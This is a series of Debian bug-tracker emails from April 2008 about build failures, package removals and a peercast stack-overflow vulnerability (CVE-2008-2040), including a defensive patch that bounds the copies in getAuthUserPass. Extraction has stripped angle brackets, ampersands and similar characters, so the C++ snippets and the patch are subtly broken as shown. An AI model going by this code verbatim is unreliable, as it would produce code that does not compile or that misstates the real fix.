Package: cxxtools Version: 1.4.7-1 Severity: serious There was an error while trying to autobuild your package: Automatic build of cxxtools_1.4.7-1 on lebrun by sbuild/sparc 98 Build started at 20080430-1625 [...] ** Using build dependencies supplied by package: Build-Depends: autoconf, autoconf-archive, automake1.9, cdbs, debhelper (= 5), gettext, libltdl3-dev, libtool, quilt [...] Making all in demo make[2]: Entering directory `/build/buildd/cxxtools-1.4.7/demo' g++ -DHAVE_CONFIG_H -I. -I. -I../src -I../include/cxxtools -I../include -pthread -g -O2 -g -Wall -O2 -c -o arg.o arg.cpp /bin/sh ../libtool --tag=CXX --mode=link g++ -pthread -g -O2 -g -Wall -O2 -L../src -o arg arg.o ../src/libcxxtools.la -ldl -lnsl mkdir .libs g++ -pthread -g -O2 -g -Wall -O2 -o .libs/arg arg.o -L/build/buildd/cxxtools-1.4.7/src ../src/.libs/libcxxtools.so -ldl -lnsl ../src/.libs/libcxxtools.so: undefined reference to `cxxtools::atomicIncrement(int volatile)' ../src/.libs/libcxxtools.so: undefined reference to `cxxtools::atomicDecrement(int volatile)' collect2: ld returned 1 exit status make[2]: *** [arg] Error 1 make[2]: Leaving directory `/build/buildd/cxxtools-1.4.7/demo' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/build/buildd/cxxtools-1.4.7' make: *** [debian/stamp-makefile-build] Error 2 dpkg-buildpackage: failure: debian/rules build gave error exit status 2 A full build log can be found at: http://buildd.debian.org/build.php?arch=sparcpkg=cxxtoolsver=1.4.7-1 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478500: insighttoolkit - FTBFS: error: math.h: No such file or directory
Hello Bastian, On Tue, Apr 29, 2008 at 05:37:49PM +0200, Bastian Blank wrote: On Tue, Apr 29, 2008 at 09:09:16AM -0500, Steve M. Robbins wrote: 1. what architecture is this The software used to produce the output identified itself[1]. 2. it looks like GCC 4.3 is used, yes? http://packages.debian.org/ and similar sources exists[2]. 3. where is complete build log? Reread the developers reference, it is linked from there[3]. This is not the way to entice someone to help you, especially following an unhelpful bug report. Can you start the build by hand; then, when it fails, run make VERBOSE=1 to see what -I options are on the compile line? Use http://db.debian.org/machines.cgi. Wow. I'm underwhelmed. If you can find me a machine that has all the build-deps installed, that would be helpful [1]. Or, please, help me by doing this: 1. start the build by hand 2. when it fails run make VERBOSE=1 3. send me an example compiler invocation so we can see the options used Thanks, -Steve [1] I fully realize that, in theory, one can ask an admin to install packages. I've been there and done that. I don't have the patience to wait weeks on end. signature.asc Description: Digital signature
Bug#478680: got CVE id
retitle 478680 [gnome-peercast] CVE-2008-2040 stack-based buffer overflow in HTTP::getAuthUserPass function retitle 478573 [peercast] CVE-2008-2040 stack-based buffer overflow in HTTP::getAuthUserPass function thanks Hi, CVE-2008-2040 was assigned to that, please mention the CVE id in the changelog if you fix this bug. Cheers Nico -- Nico Golde - http://www.ngolde.de - [EMAIL PROTECTED] - GPG: 0x73647CFF For security reasons, all text in this mail is double-rot13 encrypted. pgpWNWevH9ycc.pgp Description: PGP signature
Processed: got CVE id
Processing commands for [EMAIL PROTECTED]: retitle 478680 [gnome-peercast] CVE-2008-2040 stack-based buffer overflow in HTTP::getAuthUserPass function Bug#478680: [gnome-peercast] remote stack-based buffer overflow in HTTP::getAuthUserPass function Changed Bug title to `[gnome-peercast] CVE-2008-2040 stack-based buffer overflow in HTTP::getAuthUserPass function' from `[gnome-peercast] remote stack-based buffer overflow in HTTP::getAuthUserPass function'. retitle 478573 [peercast] CVE-2008-2040 stack-based buffer overflow in HTTP::getAuthUserPass function Bug#478573: [peercast] stack-based buffer overflow in HTTP::getAuthUserPass function Changed Bug title to `[peercast] CVE-2008-2040 stack-based buffer overflow in HTTP::getAuthUserPass function' from `[peercast] stack-based buffer overflow in HTTP::getAuthUserPass function'. thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478573: got CVE id
Le Wednesday 30 April 2008 16:41:51 Nico Golde, vous avez écrit : Hi, Hi ! CVE-2008-2040 was assigned to that, please mention the CVE id in the changelog if you fix this bug. Do you have fix by the way ? Romain -- We sick an' tired of-a your ism-skism game - Dyin' 'n' goin' to heaven in-a Jesus' name, Lord. We know when we understand: Almighty God is a living man. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: Re: bfr: Please remove hardlinks from package
Processing commands for [EMAIL PROTECTED]: severity 468825 serious Bug#468825: bfr: Please remove hardlinks from package Severity set to `serious' from `normal' thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#474869: marked as done (kchmviewer: FTBFS: libchmfileimpl.h:33: error: expected `)' before 't')
Your message dated Wed, 30 Apr 2008 14:47:03 + with message-id [EMAIL PROTECTED] and subject line Bug#474869: fixed in kchmviewer 3.1-2 has caused the Debian Bug report #474869, regarding kchmviewer: FTBFS: libchmfileimpl.h:33: error: expected `)' before 't' to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 474869: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=474869 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: kchmviewer Version: 3.1-1 Severity: serious User: [EMAIL PROTECTED] Usertags: qa-ftbfs-20080407 qa-ftbfs Justification: FTBFS on i386 Hi, During a rebuild of all packages in sid, your package failed to build on i386. This rebuild was done with gcc 4.3 instead of gcc 4.2, because gcc 4.3 is now the default on most architectures (even if it's not the case on i386 yet). Feel free to downgrade this bug to 'important' if your package is only built on i386, and this bug is specific to gcc 4.3 (i.e the package builds fine with gcc 4.2). Relevant part: if i486-linux-gnu-g++ -DHAVE_CONFIG_H -I. -I. -I../../src -I/usr/share/qt3/include -I/usr/include/kde -DQT_THREAD_SUPPORT -D_REENTRANT -Wno-long-long -Wundef -ansi -D_XOPEN_SOURCE=500 -D_BSD_SOURCE -Wcast-align -Wconversion -Wchar-subscripts -Wall -W -Wpointer-arith -DNDEBUG -DNO_DEBUG -O2 -Wformat-security -Wmissing-format-attribute -Wno-non-virtual-dtor -fno-exceptions -fno-check-new -fno-common -MT libchmfile.o -MD -MP -MF .deps/libchmfile.Tpo -c -o libchmfile.o libchmfile.cpp; \ then mv -f .deps/libchmfile.Tpo .deps/libchmfile.Po; else rm -f .deps/libchmfile.Tpo; exit 1; fi In file included from libchmfile.h:25, from libchmfile.cpp:22: /usr/share/qt3/include/qstring.h: In member function 'char QChar::latin1() const': /usr/share/qt3/include/qstring.h:197: warning: conversion to 'char' from 'int' may alter its value /usr/share/qt3/include/qstring.h: In member function 'void QChar::setCell(uchar)': /usr/share/qt3/include/qstring.h:222: warning: conversion to 'ushort' from 'int' may alter its value /usr/share/qt3/include/qstring.h: In member function 'void QChar::setRow(uchar)': /usr/share/qt3/include/qstring.h:223: warning: conversion to 'ushort' from 'int' may alter its value /usr/share/qt3/include/qstring.h: In constructor 'QChar::QChar(uchar, uchar)': /usr/share/qt3/include/qstring.h:267: warning: conversion to 'ushort' from 'int' may alter its value /usr/share/qt3/include/qstring.h: In constructor 'QStringData::QStringData(QChar*, uint, uint)': /usr/share/qt3/include/qstring.h:365: warning: conversion to 'unsigned int:30' from 'uint' may alter its value /usr/share/qt3/include/qstring.h:365: warning: conversion to 'unsigned int:30' from 'uint' may alter its value In file included from /usr/share/qt3/include/qobject.h:48, from /usr/share/qt3/include/qwidget.h:46, from /usr/share/qt3/include/qframe.h:45, from /usr/share/qt3/include/qscrollview.h:44, from /usr/share/qt3/include/qlistview.h:45, from libchmfile.h:27, from libchmfile.cpp:22: /usr/share/qt3/include/qevent.h: In member function 'void QDropEvent::setAction(QDropEvent::Action)': /usr/share/qt3/include/qevent.h:523: warning: conversion to 'unsigned char' from 'uint' may alter its value In file included from /usr/share/qt3/include/qwidget.h:52, from /usr/share/qt3/include/qframe.h:45, from /usr/share/qt3/include/qscrollview.h:44, from /usr/share/qt3/include/qlistview.h:45, from libchmfile.h:27, from libchmfile.cpp:22: /usr/share/qt3/include/qsizepolicy.h: In member function 'void QSizePolicy::transpose()': /usr/share/qt3/include/qsizepolicy.h:125: warning: conversion to 'uchar' from 'uint' may alter its value /usr/share/qt3/include/qsizepolicy.h:125: warning: conversion to 'uchar' from 'uint' may alter its value In file included from libchmfile.h:33, from libchmfile.cpp:22: libchmtextencoding.h: At global scope: libchmtextencoding.h:37: warning: 'typedef' was ignored in this declaration In file included from libchmfile.cpp:23: libchmfileimpl.h:33: error: expected `)' before 't' libchmfileimpl.h:35: error: 'u_int64_t' was not declared in this scope libchmfileimpl.h:35: error: template argument 1 is invalid libchmfileimpl.h:36: error: 'u_int32_t' does not name a type libchmfileimpl.h:37: error: 'u_int32_t' does not name a type libchmfileimpl.h:135:
Bug#478573: got CVE id
Hi Romain, * Romain Beauxis [EMAIL PROTECTED] [2008-04-30 17:03]: Le Wednesday 30 April 2008 16:41:51 Nico Golde, vous avez écrit : CVE-2008-2040 was assigned to that, please mention the CVE id in the changelog if you fix this bug. Do you have fix by the way ? Currently writing one. Cheers Nico -- Nico Golde - http://www.ngolde.de - [EMAIL PROTECTED] - GPG: 0x73647CFF For security reasons, all text in this mail is double-rot13 encrypted. pgpz4jv7F32v4.pgp Description: PGP signature
Bug#478722: build-depends on c2man about to be removed
Package: tcltrf Severity: serious Version: 2.1p2-20060125-5 Hi, your package is the only one that build-depends on c2man about to be removed (see bug #478215). Please either adopt c2man (closing the RM bug) or switch to a different tool (e.g. doxygen) to generate your online docs. Note that resorting to pregenerated documentation is not appropriate. The outgoing maintainer, Manoj Srivastava, shares the following words of wisdom in #478215: The packages depending on c2man have had years to switch; but have not, even though the package has had the note saying that it has bugs, does not work, and has better workarounds. I am not going to waste time on this package anymore. Kind regards T. -- Thomas Viehmann, http://thomas.viehmann.net/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#477004: Updated patch, uses python-support
Hi again! On Wed, Apr 30, 2008 at 06:46:42PM +0530, Kumar Appaiah wrote: Thanks to Piotr Ozarowski's help, I managed to create a patch which uses python-support for the byte-compilation. This involves: * Update Build-Depends, rules, magicor.install to put Magicor.py and Magicor-LevelEditor.py in /usr/share/games/magicor * Modifying Makefile.debian to install all Python modules in /usr/share/games/magicor/magicor * Create symlinks for magicor and magicor-edito in /usr/games, instead of copying Magicor.py and Magicor-LevelEditor.py directly. HTH. Please do consider updating the package and fixing the RC bug at the earliest. And the previous patch did not byte-compile Magicor.py and the level editor. This patch does that too by adding dh_pysupport -pmagicor /usr/share/games/magicor to the binary-install/magicor section. HTH. Kumar -- Kumar Appaiah, 458, Jamuna Hostel, Indian Institute of Technology Madras, Chennai - 600 036 signature.asc Description: Digital signature
Processed: patch
Processing commands for [EMAIL PROTECTED]: tags 478680 + patch Bug#478680: [gnome-peercast] CVE-2008-2040 stack-based buffer overflow in HTTP::getAuthUserPass function Tags were: security Tags added: patch tags 478573 + patch Bug#478573: [peercast] CVE-2008-2040 stack-based buffer overflow in HTTP::getAuthUserPass function Tags were: security Tags added: patch thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: merging 473715 473714 478664
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 merge 473715 473714 478664 Bug#473714: xrootconsole doesn't play nice with openbox anymore Bug#473715: openbox xrootconsole don't play nice anymore Bug#478664: xrootconsole opens a window on top of the root window Merged 473714 473715 478664. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: reassign 478664 to xrootconsole
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 reassign 478664 xrootconsole Bug#478664: xrootconsole opens a window on top of the root window Bug reassigned from package `openbox' to `xrootconsole'. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478573: patch
tags 478680 + patch tags 478573 + patch thanks Hi, attached is a patch to fix this issue. Kind regards Nico -- Nico Golde - http://www.ngolde.de - [EMAIL PROTECTED] - GPG: 0x73647CFF For security reasons, all text in this mail is double-rot13 encrypted. diff -Nurad peercast-0.1218+svn20080104/core/common/channel.cpp peercast-0.1218+svn20080104.new/core/common/channel.cpp --- peercast-0.1218+svn20080104/core/common/channel.cpp 2008-04-01 13:59:52.0 +0200 +++ peercast-0.1218+svn20080104.new/core/common/channel.cpp 2008-04-30 17:45:28.0 +0200 @@ -440,7 +440,7 @@ if (http.isHeader(PCX_HS_POS)) streamPos = atoi(arg); else - Servent::readICYHeader(http, info, NULL); + Servent::readICYHeader(http, info, NULL, 0); LOG_CHANNEL(Channel fetch: %s,http.cmdLine); } diff -Nurad peercast-0.1218+svn20080104/core/common/http.cpp peercast-0.1218+svn20080104.new/core/common/http.cpp --- peercast-0.1218+svn20080104/core/common/http.cpp 2008-04-01 13:59:52.0 +0200 +++ peercast-0.1218+svn20080104.new/core/common/http.cpp 2008-04-30 17:45:28.0 +0200 @@ -102,7 +102,7 @@ return 0; } //- -void HTTP::getAuthUserPass(char *user, char *pass) +void HTTP::getAuthUserPass(char *user, char *pass, size_t ulen, size_t plen) { if (arg) { @@ -119,10 +119,14 @@ if (s) { *s = 0; -if (user) - strcpy(user,str.cstr()); -if (pass) - strcpy(pass,s+1); +if (user){ + strncpy(user,str.cstr(), ulen); + user[ulen - 1] = 0; +} +if (pass){ + strncpy(pass,s+1, plen); + pass[plen - 1] = 0; +} } } } diff -Nurad peercast-0.1218+svn20080104/core/common/http.h peercast-0.1218+svn20080104.new/core/common/http.h --- peercast-0.1218+svn20080104/core/common/http.h 2008-04-01 13:59:52.0 +0200 +++ peercast-0.1218+svn20080104.new/core/common/http.h 2008-04-30 17:45:28.0 +0200 @@ -176,7 +176,7 @@ char *getArgStr(); int getArgInt(); - void getAuthUserPass(char *, char *); + void getAuthUserPass(char *, char *, size_t, size_t); char cmdLine[8192],*arg; diff -Nurad peercast-0.1218+svn20080104/core/common/servent.h peercast-0.1218+svn20080104.new/core/common/servent.h --- peercast-0.1218+svn20080104/core/common/servent.h 2008-04-01 13:59:52.0 +0200 +++ peercast-0.1218+svn20080104.new/core/common/servent.h 2008-04-30 17:45:28.0 +0200 @@ -206,7 +206,7 @@ void sendPCPChannel(); void checkPCPComms(Channel *, AtomStream ); - static void readICYHeader(HTTP , ChanInfo , char *); + static void readICYHeader(HTTP , ChanInfo , char *, size_t); bool canStream(Channel *); bool isConnected() {return status == S_CONNECTED;} diff -Nurad peercast-0.1218+svn20080104/core/common/servhs.cpp peercast-0.1218+svn20080104.new/core/common/servhs.cpp --- peercast-0.1218+svn20080104/core/common/servhs.cpp 2008-04-01 13:59:52.0 +0200 +++ peercast-0.1218+svn20080104.new/core/common/servhs.cpp 2008-04-30 17:45:28.0 +0200 @@ -587,7 +587,7 @@ { case ServMgr::AUTH_HTTPBASIC: if (http.isHeader(Authorization)) - http.getAuthUserPass(user,pass); + http.getAuthUserPass(user,pass, sizeof(user), sizeof(pass)); break; case ServMgr::AUTH_COOKIE: if (http.isHeader(Cookie)) @@ -1405,7 +1405,7 @@ } // --- -void Servent::readICYHeader(HTTP http, ChanInfo info, char *pwd) +void Servent::readICYHeader(HTTP http, ChanInfo info, char *pwd, size_t plen) { char *arg = http.getArgStr(); if (!arg) return; @@ -1429,8 +1429,10 @@ info.desc.set(arg,String::T_ASCII); info.desc.convertTo(String::T_UNICODE); - }else if (http.isHeader(Authorization)) - http.getAuthUserPass(NULL,pwd); + }else if (http.isHeader(Authorization)){ + if(pwd) + http.getAuthUserPass(NULL,pwd, 0, plen); +} else if (http.isHeader(PCX_HS_CHANNELID)) info.id.fromStr(arg); else if (http.isHeader(ice-password)) @@ -1501,7 +1503,7 @@ while (http.nextHeader()) { LOG_DEBUG(ICY %s,http.cmdLine); - readICYHeader(http,info,loginPassword.cstr()); + readICYHeader(http,info,loginPassword.cstr(), String::MAX_LEN); } diff -Nurad peercast-0.1218+svn20080104/core/common/url.cpp peercast-0.1218+svn20080104.new/core/common/url.cpp --- peercast-0.1218+svn20080104/core/common/url.cpp 2008-04-01 13:59:52.0 +0200 +++ peercast-0.1218+svn20080104.new/core/common/url.cpp 2008-04-30 17:45:28.0 +0200 @@ -171,7 +171,7 @@ LOG_CHANNEL(Fetch HTTP: %s,http.cmdLine); ChanInfo tmpInfo = ch-info; -Servent::readICYHeader(http,ch-info,NULL); +Servent::readICYHeader(http,ch-info,NULL, 0); if (!tmpInfo.name.isEmpty()) ch-info.name = tmpInfo.name; pgpl0LYGbZQSR.pgp Description: PGP signature
Bug#478726: yap_5.1.1-2(sparc/unstable): FTBFS on sparc
Package: yap Version: 5.1.1-2 Severity: serious There was an error while trying to autobuild your package: Automatic build of yap_5.1.1-2 on lebrun by sbuild/sparc 98 Build started at 20080430-0857 [...] ** Using build dependencies supplied by package: Build-Depends: autotools-dev, debhelper (= 5), dpatch, libncurses5-dev, texi2html, texinfo [...] ../C/load_aout.c:146: warning: incompatible implicit declaration of built-in function 'strcat' ../C/load_aout.c:155: warning: incompatible implicit declaration of built-in function 'strlen' ../C/load_aout.c:157: warning: incompatible implicit declaration of built-in function 'strcpy' ../C/load_aout.c:166: warning: incompatible implicit declaration of built-in function 'strcpy' ../C/load_aout.c:171: warning: incompatible implicit declaration of built-in function 'strcpy' ../C/load_aout.c:186: warning: incompatible implicit declaration of built-in function 'strcpy' ../C/load_aout.c:197: warning: incompatible implicit declaration of built-in function 'strcpy' ../C/load_aout.c:201: warning: incompatible implicit declaration of built-in function 'strcpy' ../C/load_aout.c:207: warning: incompatible implicit declaration of built-in function 'strcpy' ../C/load_aout.c:218: warning: incompatible implicit declaration of built-in function 'strcpy' ../C/load_aout.c:222: warning: incompatible implicit declaration of built-in function 'strcpy' make[1]: *** [load_aout.o] Error 1 make[1]: Leaving directory `/build/buildd/yap-5.1.1/arch' make: *** [build-stamp] Error 2 dpkg-buildpackage: failure: debian/rules build gave error exit status 2 A full build log can be found at: http://buildd.debian.org/build.php?arch=sparcpkg=yapver=5.1.1-2 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478724: FTBFS: missing build-dep to libtool
Package: trousers Version: 0.3.1-5 Severity: serious missing build-dependency to atleast libtool. Build-Depends: debhelper (= 7), dpatch, autotools-dev, libssl-dev make[1]: Leaving directory `/build/buildd/trousers-0.3.1' libtool --mode=install install tools/ps_convert /build/buildd/trousers-0.3.1/debian/tmp/usr/sbin/ps_convert make: libtool: Command not found make: *** [install] Error 127 dpkg-buildpackage: failure: /usr/bin/fakeroot debian/rules binary-arch gave error exit status 2 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478732: dguitar doesn't run
Package: dguitar Version: 0.5.5-2 Severity: grave Justification: renders package unusable # aptitude install dguitar Reading package lists... Done Building dependency tree... Done Reading extended state information Initializing package states... Done Building tag database... Done The following NEW packages will be installed: dguitar The following packages are RECOMMENDED but will NOT be installed: java-package 0 packages upgraded, 1 newly installed, 0 to remove and 1 not upgraded. Need to get 604kB of archives. After unpacking 1061kB will be used. Writing extended state information... Done Get:1 http://ftp.pt.debian.org stable/contrib dguitar 0.5.5-2 [604kB] Fetched 604kB in 0s (998kB/s) Selecting previously deselected package dguitar. (Reading database ... 286191 files and directories currently installed.) Unpacking dguitar (from .../dguitar_0.5.5-2_all.deb) ... Setting up dguitar (0.5.5-2) ... # $ dguitar Exception in thread main java.awt.AWTError: Cannot load AWT toolkit: gnu.java.awt.peer.gtk.GtkToolkit at java.awt.Toolkit.getDefaultToolkit(libgcj.so.81) at java.awt.GraphicsEnvironment.getLocalGraphicsEnvironment(libgcj.so.81) at java.awt.Window.init(libgcj.so.81) at java.awt.Frame.init(libgcj.so.81) at javax.swing.JFrame.init(libgcj.so.81) at dguitar.gui.DGuitar.init(DGuitar.java:756) at dguitar.gui.DGuitar.main(DGuitar.java:595) Caused by: java.lang.UnsatisfiedLinkError: libgtkpeer: libgtkpeer.so: cannot open shared object file: No such file or directory at java.lang.Runtime._load(libgcj.so.81) at java.lang.Runtime.loadLibrary(libgcj.so.81) at java.lang.System.loadLibrary(libgcj.so.81) at gnu.java.awt.peer.gtk.GtkToolkit.clinit(libgcj.so.81) at java.lang.Class.initializeClass(libgcj.so.81) at java.lang.Class.forName(libgcj.so.81) at java.awt.Toolkit.getDefaultToolkit(libgcj.so.81) ...6 more $ Installing java-package did not fix the problem. Installing classpath-gtkpeer did not fix the problem. -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.24-1-686 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages dguitar depends on: ii gij-4.2 [java2-runtime] 4.2.1-5 The GNU Java bytecode interpreter ii java2-runtime-knoppix [j 4:0.1-1 Empty dummy package to fix Java2 r ii sun-java5-jre [java2-run 1.5.0-14-1etch1 Sun Java(TM) Runtime Environment ( ii sun-java6-jre [java2-run 6-00-2 Sun Java(TM) Runtime Environment ( Versions of packages dguitar recommends: pn java-package none (no description available) -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed (with 1 errors): Re: Bug#478215: Reverse dependencies
Processing commands for [EMAIL PROTECTED]: severity 478650 serious Bug#478650: tclrtf build depends on buggy, old, broken, dead upstream, superseded package c2man Severity set to `serious' from `important' merge 478650 478722 Bug#478650: tclrtf build depends on buggy, old, broken, dead upstream, superseded package c2man Bug#478722: build-depends on c2man about to be removed Mismatch - only Bugs in same state can be merged: Values for `blocks' don't match: #478650 has `'; #478722 has `478215' thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478734: g++-4.2: refuses to compile valid C++ syntax
Package: g++-4.2 Version: 4.2.3-4 Severity: grave Justification: renders package unusable g++ refuses to compile the following syntax commonly used to force a std::vector to release allocated memory: #include vector int main() { std::vectorint v; v.clear(); v.swap( std::vectorint(v) ); return 0; } I emmits the following error message: bug.cc: In function 'int main()': bug.cc:6: error: no matching function for call to 'std::vectorint, std::allocatorint ::swap(std::vectorint, std::allocatorint )' /usr/include/c++/4.2/bits/stl_vector.h:728: note: candidates are: void std::vector_Tp, _Alloc::swap(std::vector_Tp, _Alloc) [with _Tp = int, _Alloc = std::allocatorint] -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (990, 'stable'), (500, 'unstable'), (500, 'testing') Architecture: amd64 (x86_64) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-amd64 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Versions of packages g++-4.2 depends on: ii gcc-4.2 4.2.3-4The GNU C compiler ii gcc-4.2-base 4.2.3-4The GNU Compiler Collection (base ii libc6 2.7-10 GNU C Library: Shared libraries ii libstdc++6-4.2-dev4.2.3-4The GNU Standard C++ Library v3 (d g++-4.2 recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478732: dguitar doesn't run
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 dguitar has been orphaned and removal from the archive requested. It should not be part of lenny. Please use tuxguitar instead. Marcos Daniel Marado Torres wrote: Package: dguitar Version: 0.5.5-2 Severity: grave Justification: renders package unusable # aptitude install dguitar Reading package lists... Done Building dependency tree... Done Reading extended state information Initializing package states... Done Building tag database... Done The following NEW packages will be installed: dguitar The following packages are RECOMMENDED but will NOT be installed: java-package 0 packages upgraded, 1 newly installed, 0 to remove and 1 not upgraded. Need to get 604kB of archives. After unpacking 1061kB will be used. Writing extended state information... Done Get:1 http://ftp.pt.debian.org stable/contrib dguitar 0.5.5-2 [604kB] Fetched 604kB in 0s (998kB/s) Selecting previously deselected package dguitar. (Reading database ... 286191 files and directories currently installed.) Unpacking dguitar (from .../dguitar_0.5.5-2_all.deb) ... Setting up dguitar (0.5.5-2) ... # $ dguitar Exception in thread main java.awt.AWTError: Cannot load AWT toolkit: gnu.java.awt.peer.gtk.GtkToolkit at java.awt.Toolkit.getDefaultToolkit(libgcj.so.81) at java.awt.GraphicsEnvironment.getLocalGraphicsEnvironment(libgcj.so.81) at java.awt.Window.init(libgcj.so.81) at java.awt.Frame.init(libgcj.so.81) at javax.swing.JFrame.init(libgcj.so.81) at dguitar.gui.DGuitar.init(DGuitar.java:756) at dguitar.gui.DGuitar.main(DGuitar.java:595) Caused by: java.lang.UnsatisfiedLinkError: libgtkpeer: libgtkpeer.so: cannot open shared object file: No such file or directory at java.lang.Runtime._load(libgcj.so.81) at java.lang.Runtime.loadLibrary(libgcj.so.81) at java.lang.System.loadLibrary(libgcj.so.81) at gnu.java.awt.peer.gtk.GtkToolkit.clinit(libgcj.so.81) at java.lang.Class.initializeClass(libgcj.so.81) at java.lang.Class.forName(libgcj.so.81) at java.awt.Toolkit.getDefaultToolkit(libgcj.so.81) ...6 more $ Installing java-package did not fix the problem. Installing classpath-gtkpeer did not fix the problem. -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.24-1-686 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages dguitar depends on: ii gij-4.2 [java2-runtime] 4.2.1-5 The GNU Java bytecode interpreter ii java2-runtime-knoppix [j 4:0.1-1 Empty dummy package to fix Java2 r ii sun-java5-jre [java2-run 1.5.0-14-1etch1 Sun Java(TM) Runtime Environment ( ii sun-java6-jre [java2-run 6-00-2 Sun Java(TM) Runtime Environment ( Versions of packages dguitar recommends: pn java-package none (no description available) -- no debconf information -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIGKatpdwBkPlyvgMRAsmRAJ0QteHH/bgeOlckSgSp84CakUDOywCfaYfi euZr3Eo5p2Vtt9hGnzgdXTE= =jwUH -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478722: build-depends on c2man about to be removed
On 4/30/08, Thomas Viehmann [EMAIL PROTECTED] wrote: your package is the only one that build-depends on c2man about to be removed (see bug #478215). Please either adopt c2man (closing the RM bug) or switch to a different tool (e.g. doxygen) to generate your online docs. Note that resorting to pregenerated documentation is not appropriate. I think that it's easier to me to adopt c2man than to switch to another tool. -- Sergei Golovan -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478722: build-depends on c2man about to be removed
Hi Sergei, thanks for the prompt reply! Sergei Golovan wrote: I think that it's easier to me to adopt c2man than to switch to another tool. In the short term, yes. However, that means leaving c2man in the archive just for the manpages you generate with it. This has two drawbacks, namely you have the burden of maintaining it (might be small) and users might try to use it and fail (might be a greater problem). Naturally, it's your decision, but I am tempted to think that in the long run it might be better to change the way you generate documentation. Kind regards T. -- Thomas Viehmann, http://thomas.viehmann.net/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478724: FTBFS: missing build-dep to libtool
Riku Voipio wrote: missing build-dependency to atleast libtool. gna.. not may day today, sorry.. -- Address:Daniel Baumann, Burgunderstrasse 3, CH-4562 Biberist Email: [EMAIL PROTECTED] Internet: http://people.panthera-systems.net/~daniel-baumann/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478650: tclrtf build depends on buggy, old, broken, dead upstream, superseded package c2man
On 4/30/08, Manoj Srivastava [EMAIL PROTECTED] wrote: c2man has an RC bug, it is abandonned upstream, and is orphaned in Debian. For the last 4 years or so it has been marked as do not use; I think it is time that you used the last version of c2man to generate a real man page, and update and ship that. I'm not sure that bug #192016 should count as an RC bug. Yes, c2man shouldn;t be used for any new project, but if upstream uses it for historical reasons I don't see the point to switch to other tool. I think that using pre-generated manpages is worse than adopting c2man. So, I'm going to adopt c2man rather than to remove tcltrf build-dependency on it. -- Sergei Golovan -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
